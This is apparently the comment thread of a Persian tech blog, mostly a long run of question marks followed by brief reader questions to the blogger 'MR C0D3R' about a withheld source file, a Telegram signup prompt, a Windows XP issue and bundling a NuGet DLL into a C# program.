    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    اگه بیشتر خواستی تا برات بگذارم؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    MR C0D3R :
    این صفحه رو پر علامت سوال هم کنی
    چیزی رو که بلد نباشم
    چیزایی رو که در موردش بدونم رو میگم که شاید رفع شه
    ولی اگه رفع نشد
    بقیشو اگه دوباره کسی پنجاه بارم بپرسه جواب نمیدم
  • Virus32
  • نگار جهانشاهی
  • من همه مطالب سایت شما را دیدم و استفاده کردم ممنون
    سلام
    چطوری برای بیان اعلان عضویت در کانال تلگرام یا خبرنامه بزارم ؟
    MR C0D3R :
    سلام
    بیشتر توضیح بده
    سلام داش کدر گل، رفیق منتظرم اون سورسو ایمیل کنی هر روز چک میکنم ایمیلو بی صبرانه منتظرم مرسی عزیز
    MR C0D3R :
    سلام
    راستش اونو چون نمیتونستم برات ارسال کنم
    بخاطر همین گفتم سعیم رو میکنم که بفرستمش
    بعضی چیزارو نمیشه به اشتراک گذاشت
    خب یک کلام بگو نمی دونم مارو معتل کردی سه ساعت طول کشید تا علامت سوال بگذارم؟؟؟؟؟؟؟؟؟؟؟؟؟؟!!!!!!!!!!!!!!
    چرا کپی پیست نکردی؟
    MR C0D3R :
    چی ؟
    باشه عزیز ولی خب نمیخوام اونو جای پخش کنم میخوام دستورشو بدونم خودم ی تغیراتی توش بدمو اون چیزی ک میخوامو ازش دربیارم
    اوایل که ویندوز Xp داشتم فکنم منم به این مشکل بر خورده بودم منم همین کار هایی که mr coder میگه انجام دادم ...
    نمیدونم چکار شد چند تا کلید زدم درست شد البته سی دی ویندوز داخلش بود.
    وقتی ویندوز نصب میکنی (درایو هاتو فرمت) میکنی؟
    سلام به همگی
    بازم منم مزاحم شدم
    داداش می دونم شما خودت و داش ویروس خودتون هزار جور کار و گرفتاری و مصیبت دارید و شاید نمی رسید به اینجا سر بزنید و ما هم هر بار میایم مزاحمتون میشیم با سوالامون
    راستشو بخوای یه سوال دارم ممنون میشم کارمو راه بندازی اگرم حسشو نداشتی بازم فدای سرت
    داداش وقتی میام از ویژوال استودیو تو سی شارپ یه کتاب خونه دان می کنم ( از nuget ) کنار فایل اجراییم یه فایل دیگه میاد که فرمتش dll هستش و وقتی اونو کنار برنامم قرار نمی دم ارور میده ، و حالا سوال من اینه که چطور یکه کاری کنم اون دیده نشه یعنی یه جوری به چسبه به برنامم و یکی بشند ، یه جای دیگه هم فک کنم همین سوالو پرسیده بودم جواب دادی که باینشون کنم ، خب راستش بایندشون کردم ولی وقتی اجراش کردم بازم همون پیامو داد که dll همراه فایل نیس
    MR C0D3R :
    سلام
